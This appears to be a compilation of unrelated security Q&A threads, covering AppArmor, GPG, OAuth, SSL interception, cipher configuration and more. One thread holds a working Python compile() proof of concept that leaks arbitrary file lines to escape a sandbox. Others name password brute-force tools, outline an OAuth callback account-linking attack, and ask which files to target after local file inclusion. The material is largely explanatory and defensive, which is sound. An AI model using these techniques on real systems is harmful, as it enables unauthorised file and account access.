Apparmor - how to 'allow everything' rule, then tighten up? Being very new to apparmor, would just like to start by placing some simple 1 line restriction on a program. And leave everything else as-is. Also, for other reasons it's not possible for me to easily profile this specific executable. It is a part of the window manager that is started / kocked off by GDM / gnome session during user login.

Hoping to achieve something a bit like this:

# Last Modified: Fri Dec 28 09:20:30 2018
#include <tunables/global>

/usr/bin/budgie-panel {

  #include <abstractions/base>

  # allow all rules first
  allow *,

  # Then deny 1 specific dbus bind access
  deny dbus bind name=org.freedesktop.Notifications,

}

But is the allow *, a correct syntax for 'allow everything', in my apparmor profile? Cannot find a clear documentation explaining about this.

This is not the right approach.

In general, blacklisting is a poor basis for a security policy - it should be based on whitelisting - and the syntax of AppArmor is predicated on this. To that end, you should start with no specifics in the profile, but set the profile action to complain instead of enforce. You can set this in the profile (flags=(complain)) or using the aa-complain command. Then the specific directives to permit an operation become redundant.

I believe the authoritative documentation is that published by SuSE. But, briefly, for file access the config format is:

<object> <permissions>,

Note that the globbing in object (if its a path) is slightly different from what you may be familiar with at the command line. There's more dbus specific stuff here.


Are there risks to having many uids on my gpg key? I'm fairly new to the world of pgp/gpg, I came to it first through Keybase and then the gpg client and now I think I'm in a place where I'm quite happy with my key setup. I've just started a new job and I use my new work email address to make git commits to our projects. To sign my git tags I need to of course add my work email address to my key. However I already have a number of email addresses attached to it, 2 gmail variants (@gmail.com and @googlemail.com) and two from different domains that I own.

My question is, is there a risk to having many uids on a gpg key, and are there any risks to adding a corporate controlled email address to my key or should I generate seperate ones for work?

My risk profile feels fairly low, I'm a relatively average and unknown software engineer. I don't work in a secure environment and the most I use my key is for signing git tags. I use a yubikey neo for my day-to-day signing, encrypting, and authentication RSA keys, and I don't intend to keep the private keys on my work laptop, I intend to only use a yubikey (or similar smartcard device). I am open to generating keys just for my job, but since my job isn't secret or something I need complete seperation for I figured managing one set of keys would be simpler.

As I said I'm pretty new to pgp and gpg, I'm enjoying learning it and feel I have a good grasp but I'm looking to ensure I don't make any major mistakes or open myself up in a silly way when considering this.

It may be useful to use different subkeys for each distinct purpose in order to compartmentalize them. You may want to have one subkey for the email you use for your personal correspondence, and another subkey for work-related emails. You can have yet another for git. While you don't have to do this, it's often a good idea to minimize the exposure each key gets. Even if your work is not particularly sensitive or you don't think you're at risk, it's always a good idea to ensure that no one who manages to steal your key through personal channels can reuse them for other purposes.
There are a few other benefits to using multiple subkeys:

Each subkey can use a different password of a different strength.

You can set the expiration date for each subkey differently.

You can revoke individual subkeys, for example if you quit your job.

It gives better granularity if you are part of the Web of Trust.


Arp-spoofing local network, Devices can't see eachother I'm a computer security student whom has recently been tasked with conducting an arp spoofing attack on a couple devices on a test network.
The issue I'm facing is that none of the devices seem to be responding to any sort of arp spoofing.
I can run nmap and scan through the network and see all the devices that are connected to the same AP as I am, so I know I can at least see the devices.

Note: The network is a PEAP network with mschapv2

So my question is:
When conducting an arp-spoof attack on a network, can a router detect, and then throw away bogus arp-replys?

Is your computer in the same subnet than the target devices? Because ARP only works between devices in the same IP subnet.

  But if the two IP Addresses are on different subnets, the device will follow a completely different logic: it will look in its routing table for a route to the destination network, and then it will send its packet to the appropriate router (or to its default gateway if no more specific route is present); in this scenario, ARP will be used to find the hardware address of the router, because the destination IP address has already be deemed to not be directly reachable, so the packet must be delivered to a router which can take care of it.

Look in here for a better explanation.


"Allow __ to be fullscreen?" I have been asking myself for a while what's the purpose of that popup showing up in pretty much all the modern browsers upon entering the full-screen mode of a video or website.

It appears to be a security measure against some sort of potential threats, but what is it about exactly? Which attack scenarios could be carried out without that?

The question is asked mostly to protect you from phishing attacks. The website may fake an Operating system, and ask you to enter sensitive information like passwords. To quote the spec:

  User agents should ensure, e.g. by means of an overlay, that the end
  user is aware something is displayed fullscreen. User agents should
  provide a means of exiting fullscreen that always works and advertise
  this to the user. This is to prevent a site from spoofing the end user
  by recreating the user agent or even operating system environment when
  fullscreen.

There is also a very good discussion of this issue from Feross Aboukhadijeh, who also describes the security risks of allowing keyboard input.


Kubernetes bootstrap token with no expiration I would like to know the security implications of using a bootstrap token that never expires. The reason why I'm considering doing that is that I'm using terraform and my control-plane is in a autoscaling-group, so the credentials required to join a cluster need to be known when the group is created and need to stay valid for as long as the group lives (ie, "forever").
Now, the obvious implication is that anyone that get access to the token and is in my private network can take control of the entire infrastructure, which is pretty bad. That being said, if I go that route, the secrets would be stored in the instance metadata and that metadata would be firewalled to be only accessible by root.
My assumption is that if a user get access to the token it means they are root and would therefore have no use for the tokens anyway. Am I correct? Any other security implications I should consider? Thanks.

Storing secrets in AWS instance metadata for Kubernetes clusters can be very dangerous unless carefully configured. The main risk is that an attacker who can get access to any container running on your cluster, will get access to the metadata service running on 169.254.169.254.
This could happen in a couple of ways. Firstly an attacker who finds a remote code execution vulnerability in one of your containers may be able to use curl or similar from the container to hit the cluster nodes metadata service.
Another possible attack route for this issue would be via Server-Side Request Forgery (SSRF) vulnerabilities in your containers, although using IMDSv2 can help here (reference here)
If you still need to store a privileged secret in AWS Metadata, you can look at mitigations for this risk, like using Network Policies to restrict access to the metadata endpoint from containers, or using something like kube2iam to restrict what AWS metadata access is possible from containers in the cluster.


How does winrar know I typed the right key? As far as I know WinRar uses the password you type and derives the key from it. But how exactly does it check if the key I typed is correct? What I think is that it compares your guess with the right key before decrypting it? But that'd mean that the right is stored inside the encrypted file. So it doesn't make much sense. Can someone explain how it is done?

WinRAR does not check a password at all. It passes a password through the hash function to set a 128/256 Bit AES encryption key and then uses this key to encrypt the file data valid until RAR 4.x format. The new RAR 5.x format detects wrong passwords even before starting extraction and does not extract garbage. RAR 5.x stores a special password hash generated by one way hash function. Consequently the knowledge of this hash does not allow to know a password of the encryption key. When password is entered RAR compares its hash to stored hash in case of no match it rejects the wrong password early. This one way hash function is intentionally slow and based on PBKDF2, therefore it does not allow to increase the brute force attack performance noticeably.

Here is the source.


OAuth 2.0: Are refresh tokens still beneficial when all clients are public? I'm designing a new REST API for a mobile app service, which is something I've not yet had to do from scratch. I decided to use OAuth 2.0 with the Resource Owner Password Credentials grant.

Ideally, users should login once and remain authenticated forever, until they log out or access is revoked. I've read that I should use short-lived access tokens and a long-term refresh token, with the benefit being that even if the refresh token is stolen, you need the client secret to request a new access token, which itself could be revoked.

But mobile apps are considered public clients, which should not use client secrets, so is there actually any benefit to using refresh tokens in this situation, rather than just using long-lived access tokens?

You got it right: there is no actual benefit. A client secret within a public executable binary can easily be found. Either by analysis of the binary or network traffic sniffing. You can make it very difficult but not impossible.

However, i would strongly recommend against long lived access tokens. If one of these gets stolen you cannot revoke it. Its out there and valid for probably years.
However, if you use refresh tokens and access tokens that live for hours at most you can prevent an attacker from getting hold of a new access token even if they manage to steal the refresh token.


What do these Wireshark screenshots demonstrate? I'm reading an article about the recent Github DDoS with traffic coming from non-Chinese Baidu users here.

There are two Wireshark screenshots in the middle of the article with arrows pointing to the sequence number of the SYN-ACK step from the TCP three-way handshake, also the TTL from the IP header, and on the second screenshot, TCP Window size is pointed.

Everything looks normal for me, and I can't really understand what these screenshots should demonstrate in the context of  the discussed problem. What is wrong with them?

What this screenshot wants to demonstrate, is that the SYN-ACK and the following packets have different TTLs (Time-To-Live). Each TCP packet has a TTL counter which starts at a specific value when a packet leaves a host and gets decremented by every router which forwards the packet. The payload having a lower TTL than the SYN-ACK packet means that it passed through more routers. This implies that some system detected the SYN-ACK as "interesting" and decided to reroute the connection afterwards, likely through some system which performed a man-in-the-middle attack.


What utilities exist to brute force a username and password? I'm trying to persuade management to purchase two factor authentication for securing VPN and terminal server access.

I've made significant progress by demoing TSGrinder, but would like to list other utilities as well.  What other similar utilities exist for the same purpose, but for a different software stack Nortel VPN, etc...?

THC-Hydra might be helpful here.

Also Bruter.

I have not used them for VPN or TS testing, but they are the 'standard' Windows password brute force tools.


Is it necessary to protect the Oauth2 return URL I am thinking to implement a REST service that needs to call another REST service that is protected by OAuth2.

My service is "always" called server to server by web applications.

The user interacts with the web applications using their authentication.

The server-to-server call is executed on behalf of the authenticated user.

The third party service uses the standard OAuth authentication that expects the browser to call a specific url passing a return url and the level of authorization required. The return url (that in my case must point to my service) must contain also a "state" that the service will use to validate the call and to know which user initiated the authorization (the service stores somewhere an association between the "state" and the authenticated user).

The problem is that the browser needs to call this return url directly and so without authentication.

It is my service that generates the URL to initiate the authentication. The "state" specified in the return url is stored in a database and associated with the authenticated user.

My question is: is it safe enough to use the "state" (see https://auth0.com/docs/protocols/oauth2/oauth-state) to protect this URL?

Can this URL be open and just check that the passed state is valid?

If it isn't enough, what can be done to secure this call without implementing a
full authentication between the browser and the service?

When the service is called with the return URL it executes the following steps:

It uses the authorisation code received to get the access-token and the refresh-token.
It stores them in a record associated to the user (the service knows which user started the login process thanks to the association mentioned before).
It redirects the browser back to the web application to a url that the web application passed when the request to login was initiated. This url must be "safe" (meaning that the state of the application does not change in any relevant ways as a consequence of opening that url).

By not protecting the return url you open yourself to the flowing scenario

Malicious user A registers with web application
Malicious user A obtains initial OAuth redirect to the third party service. He can do it easily by using user agent that does not follow the redirect automatically
Malicious user A tricks naive user B into opening the redirect url and authenticating with the third party.
Naive user B completes the process - your service gets the callback and assumes it is valid. It obtains access token and associates it with user A (the one that initiated the flow)
User A logs in into the web applications and asks for his data - web application calls service which calls third party and now user A sees the user B data

The third step is the hardest to pull but consider thew fact that third party will tell the user B that it is Your application that is asking for permission so more trustworthy it is the easier the exploit is.

The simplest way around it would be to have the callback url on the web application, authenticate the user and simply forward the call to the service.


Does the principle of the CRIME & BEAST attack affect VPNs? I was recently reading about the attacks on SSL/TLS that CRIME and BEAST were able to exploit by attacking the compression in the secure session. Upon reading this I remembered that OpenVPN has compression as an option in the VPN server configuration. I was wondering if the same sort of attack on TLS could be used against OpenVPN and other VPN connections that use compression.

No. It's not at all applicable.

To be clear, both these attacks involve a malicious attacker creating a vast number of connections through the protocol and examining the ciphertext in order to determine something about the plaintext. The only way this is possible is by having a malicious actor on your computer, in your browser conducting the attack. They did this through java/javascript under the assumption that you could surreptitiously end up running malicious code through visiting a dangerous website, even though your machine isn't otherwise compromised.

The concept doesn't really apply outside the weird world of web browsers. Browsers have the unusual task of running known-malicious code safely in a restricted environment. If you're running malicious code straight on your computer which can connect over your VPN, then you're already owned.

And in VPNs in particular, the session management is different. Whereas with HTTPS it's common to create dozens of connections between a client and server, with a VPN, you create just one encrypted tunnel with a single session through which all your individual network connections will be encrypted.

So no, it's an entirely different world.


Any way to use Java (sun micro) without any concern of infection My antivirus has kept removing a Java exp virus only for it to keep returning.

Yesterday in frustration I decided to uninstall Java until I see some positive news about any patches regarding the latest security issues to install some confidence.

Today however reality has set in with regards to the fact i actually use Java a lot and would like to find a secure way to use it - if possible.

I use Java for only successful commercial sites like ADVFN and such like. If I were to reinstall Java and enable NoScript to only allow these two sites to be loaded with Java would I likely be safe from the Java exp OR can it be just as likely that using one of these two high profile sites could allow the exploit Java problem as some obscure website?

I tried NoScript yesterday, but had some issues with that as well so disabled it but maybe I'll try that again. If J simply disable the Java plugin in my browser after I've finished using the website - would that stop any Java virus?

BUT is there any other way to use this software SAFELY on these two websites that need it and no I've uninstalled it should I check for any left behind Java files to remove with a CCleaner scan (not clean) IF I reinstall.

Your question doesn't make it clear, but are you sure you need Java enabled in your browser. Keep in mind that Java and JavaScript are two entirely separate technologies. Java is a cross-platform application framework and JavaScript is a scripting language designed for the web. Your mention of Sun Micro also confuses me, because Java has been an Oracle product for a long time now. If you're still running a Sun release of Java, you've got serious problems.

A lot of websites (StackExchange included) make heavy use of JavaScript, but very few these days actually require a Java applet.

In order to protect yourself from problems with JavaScript, addons like NoScript and AdBlock Plus can be extremely useful. NoScript essentially disables JavaScript on all sites until you specifically allow it, which saves you from getting hit by unexpected browser exploits. AdBlock Plus is useful since it allows pattern-based content blocking, so you can block certain scripts or even entire domains.

Java, on the other hand, is a completely different scenario. Most browsers don't come with a Java plugin by default, as the plugin usually comes when you install a Java Runtime Environment (JRE) on your system. Even then, the browser plugins are optional parts of the installation. NoScript's JavaScript blocking won't affect Java applets at all; they're completely separate things. The biggest problem with Java from a security perspective is that any sandbox escape vulnerability automatically allows the applet to modify your system with the same privilege level as your browser. If you're running as an administrator, that means it can control your whole system. Unfortunately, Java has a history of vulnerabilities that allow sandbox escape, and Oracle's patching schedule isn't particularly agile - there have been cases where Java 0days being used in the wild weren't patched for months.

If you're trying to protect yourself from malicious Java applets, I'd run through this checklist:

Disable the Java plugin on all of your browsers. If you're not using Java at all, uninstall the JRE completely.
If you need Java on a browser, get a portable copy of Firefox or Chrome and only install the plugin on that. Then use a tool such as Sandboxie to completely isolate the process from the rest of the system.
Keep up to date with all Java patches, as well as patches for your OS and browser.
Make sure your firewall is properly configured and up to date. Some of the better firewalls often have signatures that catch known malware applets, which can be a nice barrier.
Use an AV, even if it's Microsoft Security Essentials.
If you're really paranoid, only install and use Java in a dedicated virtual machine. This is pretty much the only way to make sure you have a good chance of not getting owned by Java malware.


Leak multiple lines from file I am researching this bug here, where the first line of an arbitrary file can be leaked by triggering a SyntaxError using the compile() function.

Is there a method of leaking the rest of the file, such as similar to the way Heartbleed leaks data from server memory?

In Heartbleed, you can open a listener port on your computer and spam the targeted server with a specially crafted request to leak the response bit-by-bit.

I am using a vulnerable python sandbox hosted on a server. The code is compiled on the server. With the bug above I can leak the first line of any file. Is there a way, using only builtins and the standard library to leak the remaining lines of the file?

I posted about it on the python bug tracker and got some advice.

Since python interprets files line-by-line, we can delay the termination error, which leads to this interesting bug, simply by adding a new line \n to leak a line at a time.

The proof of concept is as follows:

Create target File

$ cat /tmp/passwd
line 1
line 2
line 3
line 4

Read from target File

$ python -c 'compile("\n\n\nyield", "/tmp/passwd", "exec")'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/tmp/passwd", line 4
    line 4
    ^
SyntaxError: 'yield' outside function

By writing a simple catch loop, it is possible to leak all lines of an unknown file on the system. However, as stated by a reviewer on the tracker, this is only practical for a sandbox escape. Even though Python isn't built for sandboxing, if someone were to implement one, the compile function must be among the first to go.


is this data encryption scheme viable? My goal is to be able to encrypt the data so that no one would be able to make use of it if it was stolen.

User data
- the one that will be encrypted
- can be any type of data

Data encryption key
- the key for encrypting and decrypting the user data
- stored encrypted
- does not change
- unique per user
- generated upon registration
- has two encrypted copies:

1st is encrypted and decrypted using the user's unencrypted password
2nd is encrypted and decrypted using the user's email

User password
- used to encrypt and decrypt the 1st copy of data encryption key
- stored encrypted using bcrypt

User email
- used to encrypt and decrypt the 2nd copy of data encryption key
- has a separate copy stored encrypted using bcrypt. The other copy was part of user data

[LOGIN]
When the user logs in, the submitted password will be verified using the stored encrypted password. If valid, his/her data encryption key will be decrypted using the same submitted password. The data encryption key can now be used to encrypt and decrypt the user data.

[CHANGE PASSWORD]
The user provides his old password. This will be used to decrypt the data encryption key which will then be encrypted using the new password.

[FORGOT PASSWORD]
The user is required to provide his username and email. This username will be used to find the separately stored encrypted email which will be used to verify the provided email. If both username and email are correct the provided email will receive a reset key. The reset key will allow the user to provide a new password. The 2nd data encryption key will be decrypted using the email and will be encrypted using the new password. The resulting value will replace the 1st data encryption key.

I am wondering if this is a viable scheme. I have not yet looked for a similar approach. If you know one, or has a better one please let me know.

So if I have your goals correct - you want to protect user data and you want their data to be recoverable if they lose their login password.

The basics: There is stuff you know; stuff they know; and stuff you both know.

Preferably for encryption of their data on your system to really make any sense, it needs to be protected by something you don't know - at least not all the time.

Putting aside password/account recovery for the moment, the simplest method is to only keep and match a salted hash of their password but cache their reentered password as temporary session data for decrypting/accessing/modifying their content while they are logged in. Discarding the session data when they log out or timeout.

Password recovery where serious data encryption is involved should be the user's responsibility, as hand-holding on this particular issue undermines the very security you are hoping to provide. Your website or application should provide backup options for their password, such as a QR code they can print out. Having this recovery option as a different password or credential doesn't really make any sense in this case as their data is only, at heart, encrypted by one symmetric key. You can also have a separate channel, credential or mechanism that is one-shot or email based for recovering their account but not their data. That distinction must be made clear to them. No password, no backed-up hardcopy - no data recovery.

The main concern of the initial approach you have outlined is that the roles and responsibilities of their data security is muddled. You should host their data in fashion useful for the website or app when they are logged in but they should retain the only credential to access their data. Bcrypt is a roundabout way of storing their data on your system without encryption; as all the information needed to crack it is already persistently on the server.

Naturally if the encryption/decryption occurs client-side then the security risk for the user is even less - but that depends heavily on how the website or app needs to use their data, so that may not be a practical option.


Disable SSLv3 in Dovecot --> TLS handshaking failed: no shared cipher? Ubuntu 12.04
OpenSSL 1.0.1-4ubuntu5.20 14 Mar 2012
Dovecot 2.0.19

The situation is I'm trying to disable SSLv3 in Dovecot by adding !SSLv3 to the ssl_cipher_list:

ssl_cipher_list = EDH+CAMELLIA:EDH+aRSA:EECDH+aRSA+AESGCM:EECDH+aRSA+SHA384:EECDH+aRSA+SHA256:EECDH:+CAMELLIA256:+AES256:+CAMELLIA128:+AES128:!SSLv3:!aNULL:!eNULL:!LOW:!3DES:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:CAMELLIA256-SHA:AES256-SHA:CAMELLIA128-SHA:AES128-SHA

restart the Dovecot, then check log, I got:

  Oct 29 05:00:46 mail dovecot: imap-login: Disconnected (no auth attempts): rip=118.71.13.x, lip=107.170.105.y, TLS handshaking: SSL_accept() failed: error:
  1408A0C1:SSL routines:SSL3_GET_CLIENT_HELLO:no shared cipher

what I don't understand is: the above cipher list support some TLSv1.2:

openssl ciphers -v 'EDH+CAMELLIA:EDH+aRSA:EECDH+aRSA+AESGCM:EECDH+aRSA+SHA384:EECDH+aRSA+SHA256:EECDH:+CAMELLIA256:+AES256:+CAMELLIA128:+AES128:!SSLv3:!aNULL:!eNULL:!LOW:!3DES:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:CAMELLIA256-SHA:AES256-SHA:CAMELLIA128-SHA:AES128-SHA' | grep -i tls
DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD
DHE-RSA-AES256-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA256
ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD
DHE-RSA-AES128-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA256
ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA256

Running tcpdump while using Thunderbird to connect to Dovecot:

Secure Sockets Layer
    SSL Record Layer: Handshake Protocol: Client Hello
        Content Type: Handshake (22)
        Version: TLS 1.0 (0x0301)
        Length: 177
        Handshake Protocol: Client Hello
            Handshake Type: Client Hello (1)
            Length: 173
            Version: TLS 1.2 (0x0303)
            Random
                GMT Unix Time: May  4, 2099 21:21:49.000000000 ICT
                Random Bytes: db3c676892cb86a10350aae7fa67868ed4935862593455bc...
            Session ID Length: 0
            Cipher Suites Length: 46
            Cipher Suites (23 suites)
                Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
                Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)

You can see that at least both client and server support ECDHE-RSA-AES128-GCM-SHA256, why the handshake failure?

Secure Sockets Layer
    TLSv1.2 Record Layer: Alert (Level: Fatal, Description: Handshake Failure)
        Content Type: Alert (21)
        Version: TLS 1.2 (0x0303)
        Length: 2
        Alert Message
            Level: Fatal (2)
            Description: Handshake Failure (40)

The situation is I'm trying to disable SSLv3 in Dovecot by adding !SSLv3 to the ssl_cipher_list:

This is a bad idea because there are no ciphers specific for TLS1.0 and TLS1.1, that is they use the same ciphers as SSL 3.0. Only TLS1.2 defined some new ciphers. This means, that if you disable SSLv3 ciphers no SSLv3 clients can connect, but also no TLS1.0 or TLS1.1 clients. This is probably not what you intended to do.

The real way is not to disable the SSLv3 ciphers, but to disable the SSLv3 protocol, but I cannot see an option for it in Dovecot 2.0. According to https://zmap.io/sslv3/servers.html there is an ssl_protocols setting in Dovecot 2.1+, but the same page also wrongly recommends to disable SSLv3 ciphers in Dovecot 2 which is just wrong.


Any vulnerability in .net implementation for C# object.GetHashCode? I've already asked this question on SO, but I think that this forum is more appropriate to discuss security issues.

My point is that most OO languages has a way to get a unique hash code for an object:

Python: obj.__hash__()
Java: obj.hashCode()
.NET: obj.GetHashCode()

It is well known that for Python a Denial of Service vulnerability (pdf from the original congress) has been addressed since version 3.30 through a seed randomization (even though it is not working for a single-window interpreter).

My question is why that concern has been ignored in the default implementation of .Net hash? From a security standpoint, what is the correct approach: shouldn't the same seed randomization be suggested also to .Net framework team developers?

The purpose of the hash methods listed (methods provided by common objects to conform to an interface used by standard collections) is to map all possible values for which a hash is calculated to the full range of valid values of the hash value's type.  The randomness used in this mapping is not for security.  The mapping must be sufficiently random so that sequences and common patterns will not cause uneven distribution in the use of buckets common to hash based collections.

Hash maps, multimaps, and sets may be used in larger security schemes but, by themselves, are not intended to be secure.  They are simply collections designed to provide indexed lookup.  Hashes used this way provide much faster indices than binary trees.

The term hashCode is actually misleading in this way.  Creating a hash for a string type so that a hash map can be indexed using such a string is not an encoding.  The resulting hash value arising from such a hashing algorithm may map back to a large number of object values, but the intention in this context is NOT to hide those object values from an attacker.

In the case of MD5 or SHA hash algorithms used in security protocols, the intention is to create a mathematically low probability of guessing the input value from the hash in any practically achievable number of tries.  The methods provided by common objects in these languages so that they may be inserted into collections that index them using buckets should NEVER be used to replace the hash algorithms designed to be used in security protocols.


Are there other roots of trust on my computer aside from these 46 root certificates? I've heard many people imply that modern browsers and OSes trust a myriad of root certificates.  The implication is that it is impossible to ensure the private keys of all of the root certificates installed on your system are, in fact, in control of trustworthy organizations.  The oft cited trusting of the Hong Kong Post Office root certificate seems to be evidence of rampant growth of the list of trusted root certificates.

I just checked my Windows 8.1 computer's certificate store:

It seems to show only 46 trusted root certificates from about 20 organizations.  Furthermore, there are only a handful I don't recognize and the infamous Hong Kong Post Office is nowhere to be seen.  It seems rather manageable to audit a list of root certificates this size.

My questions are:

Is there some other stash of trusted root certificates that Windows and browsers are relying on?
Are there other systems or versions that have/had a much longer list of trusted root certificates?
Did Windows ever trust the Hong Kong Post Office root certificate by default?

Since Windows Vista and Windows 7, Windows has an automatic procedure of downloading new root certificates. So for example if you connect to https://www.hongkongpost.gov.hk/index.html and Windows does not (yet) have the root certificate, the root will be downloaded from Microsoft if Microsoft thinks the root can be trusted. So to answer your question, it's unclear exactly how many roots certificates are in your store since the store gets updated automagically. See for some info How Windows updates root certificates. According to this article you can disable this automatic update procedure.


Can real end-to-end SSL encryption be made? I've read the various questions tagged [ssl] and [mitm] and [proxy] and I couldn't find a duplicate.

I've got a very precise question but first I need to give some background.

Basically I'm very surprised by the recent development that highlighted the fact that both Nokia and Opera Mini are actually using their servers as endpoint of "secure" SSL connection between users and websites (like for example online banking websites).

Apparently they're doing so in the name of performance: they're using their servers as the endpoint which then act as a proxy for the user.  On their servers, they are rendering and compressing the page to be displayed and sending that to their users.

I'm also totally confused by the reaction of most people: most people reacting say: "Nothing to see here, it's common practice, move along".

It comes as a shock as I was under the impression that I was the endpoint, not some Nokia / Opera Mini server.  I realize that it's not a MITM attack over SSL because the servers become the endpoint and, you, the user, are served "something else" (either modified HTML or a picture or whatever)...

I understand it's (supposedly) done in the name of performance.  I personally see it as sacrifying security in the name of performance but whatever.

Now, and that's where the real shock comes for me, several people pointed out that it's not only phone makers who could do this, but any ISP as well.

And I found this sentence:

"Software that does use the OS cert store or SSL lib should still be immune to this"

So my question is very simple: how can I securely connect, from a desktop computer (not from a phone), to websites using HTTPS (like my online banking website or my GMail), knowing that I may be using an ISP interested in spying on me?

Does a browser like Google Chrome, for example, have any protection against this? (for example is it sufficient to look at the green "lock" icon followed by "HTTPS://mail.google.com/..." or can this be tricked too by the ISP?)

This practice is sometimes described as "institutional man-in-the-middle attack". It can be done by either modifying the client code (so that it allows such proxying), or adding a special CA in the trust store of the client; in the latter case, the proxy intercepts the connection, generates a fake certificate for the server (issued by the special CA -- it is "special" in that the private key is controlled by the proxy), and runs a true MitM "attack".

This is done by big organizational content filters (e.g. Bluecoat's ProxySG) and by "Internet accelerators" like the one you observe (by accessing the raw data contents, the MitM proxy can apply some strategies for "speeding things up", namely caching and enforced data compression).

Accelerators often rely on client code modification, which allows for more "speeding up strategies" than the basic interception with a fake server certificate. This is probably your case; it will be browser specific. It is a security concern since it defeats one of the key points of SSL, i.e. to bring end-to-end confidentiality and integrity. I know some banks who are really unhappy about that, because it makes it much more difficult to apply some legal value to SSL-based Internet banking. As a user, you can defend against this practice (which is indeed widespread) by using an alternate browser (e.g. Firefox seems to be available for some Nokia phones) and verifying that the alternate browser trusts only "trustworthy" root CA.

(Note: it occurs to me that since these "Internet accelerators" tend to use indiscriminate data compression on the link between the phone and the MitM proxy, they are possibly vulnerable to the CRIME attack. This might be worth some investigation and publicity.)

Edit: while MitM of SSL connections seems to occur with Nokia's browser (e.g. see this article), the corresponding feature in Opera / OperaMini, called turbo, claims not to do it for SSL, only for plain HTTP:

  Even while using Opera Turbo, secured connections do not go through Opera's servers. This means that when you are using your bank or transmitting sensitive data, you are talking directly with the website.


What alternatives are there when SSH is being actively filtered? Unfortunately our government filters the SSH protocol so now we can't connect to our Linux server.

They do the filtering by checking the header of each packet in the network layer (and not by just closing port). They also do away with VPN protocols.

Is there any alternative way to securely connect to a Linux server?

From what I heard earlier today, https/ssl flows correctly through your borders.

You should hence check out Corkscrew.

Similarly to netcat, it's used to wrap ssh in https to allow the use of https proxies.

Another solution would be to use LSH which, by having a different signature than ssh, works from Iran as Siavash noted it in his message.


Encrypted data transfer with middle node and asymmetric key I'm looking forward to pass data from a node A to a node B using asymmetric cryptography, but with one (huge) constraint: When A sends data to B, it is possible that B is offline. I would like to be able to read the message as soon as B came online, even if A is not online any longer.

It is not a problem to add other number of nodes online 24/7, as long as the servers can't read the message sent from A to B

Is there a way to achieve this? How?

This is the model of encrypted emails. So see OpenPGP, in particular its open-source implementation GnuPG. With your notations, node B has a public/private key pair, and node A knows the public key of B. Node A asymmetrically encrypts the message with node B's public key, and only node B can decrypt it, using its private key, which no other node knows. When A sends the message, it actually sends it to some repository server (B's "mailbox"), which B will consult when it goes online again. The repository does not have a copy of B's private key, and therefore cannot decrypt the message.

For the encryption process, node A only needs a copy of B's public key, which is public, and does not change; node A can use B's public to encrypt one billion successive messages without any security problem. B's public key does not "wear off" upon usage. Node B needs not be online at any point for the encryption to work.

There are a lot of tricky details to care of when designing a format for asymmetric encryption, so you are warmly encouraged not to do it, and instead rely on some existing protocol (like OpenPGP) which has been thoroughly reviewed by many cryptographers. Similarly, implementation is also a dangerous part, and you cannot test for involuntary data leaks, so reusing some existing code is also a smart move.

The hard part in asymmetric encryption is how to make sure that what node A considers to be "B's public key" is really the public key of B, not a fake public key whose corresponding private key is known to the attacker. Depending on your context, this "making sure" part can be as simple as a one-time configuration, or as complex as a full-blown PKI.


Can Burp be setup to intercept traffic from client application? I have a client application installed on my Windows computer and I want to perform a MITM on this application to inspect the traffic.
I understand that Burp can do the MITM for web application, but can it do the same for a client application?

If yes, how do I setup Burp to intercept with client apps? Thanks!

Short answer:

It depends on how your client application communicates to the backend server.

Long answer

The answer to this question depend on how the application communicates.

If it is using HTTP for communication and if it relies on the system proxy settings, yes you can: by setting the system proxy to the burp proxy listener.
If it is using HTTP for communication and if it does not rely on system proxy: yes if there is a way to configure the executable to use proxy from a configuration file or by reverse engineering.
If it is using HTTP for communication and if it relies on the system proxy settings, yes you can: by setting the system proxy to the burp proxy listener.
If it is using HTTPS and if it relies on the system trust store and proxy, you can: by setting the system proxy to the burp proxy listener and adding burp certificate to your system trust store.
If it is using HTTPS and is using a custom trust store, you can: if the custom trust store can be manipulated by reverse engineering the executable or a configuration file.
If it is using some other binary protocol, https://github.com/summitt/Burp-Non-HTTP-Extension could be an option. Doesn't work always though


How to make a website patch their poor security? I am following an online class from a local institution. Recently, I've noticed they don't hash passwords because they sent me my password by e-mail in clear text.

The website has a lot of personal information so I've decided to test how secure it is.

After a few minutes of testing the private message system, I've found out that you can view, delete, reply to any message with any username. Also, they sent a message to everyone with their password recently so I can see everyone's password. XSS attacks are possible as well.

I've reported the vulnerabilities and it still hasn't been patched (it's only been a week but if I were responsible of a system like this, I wouldn't sleep until everything's fixed).

How can I make them secure their website properly? My own personal information is also at risk here.

(To make sure there are no more answers related to that, I am well-aware of the laws. It doesn't change the fact that some day, someone will do exactly what I did but with bad intentions.)

So there's a couple of options open to you potentially, depending on the country you live in, however first a note of caution.

You "tested" the site and then reported your findings.  In many countrys if the application owners want to make out that you "hacked" them, they could do that, and it may be bad for you.  I say this just so you can weigh it up when you're considering taking other actions. I'll leave aside any more legal stuff on hacking as it's been covered in other answers.

Basically the main ways to get them to address this would either reporting this to a regulator/government body who are responsible for data protection (e.g. in the UK, the information commissioner), as it seems that they're not taking appropriate measures to protect personal data which they are processing.  This may get them to fix it if the regulator contacts them regarding the problem.

The other option would be to try and attract bad publicity to the site, by publishing the details of the vuln.  This may have the desired affect, but be aware a likely side affect is that they could take legal action against you (again depending on the jurisdiction, they're attitude to security etc)


Local File Inclusion [ Post-Exploitation ] I am curious what kind of sensitive files should I look for on a Windows server which is vulnerable to LFI compared to Linux?

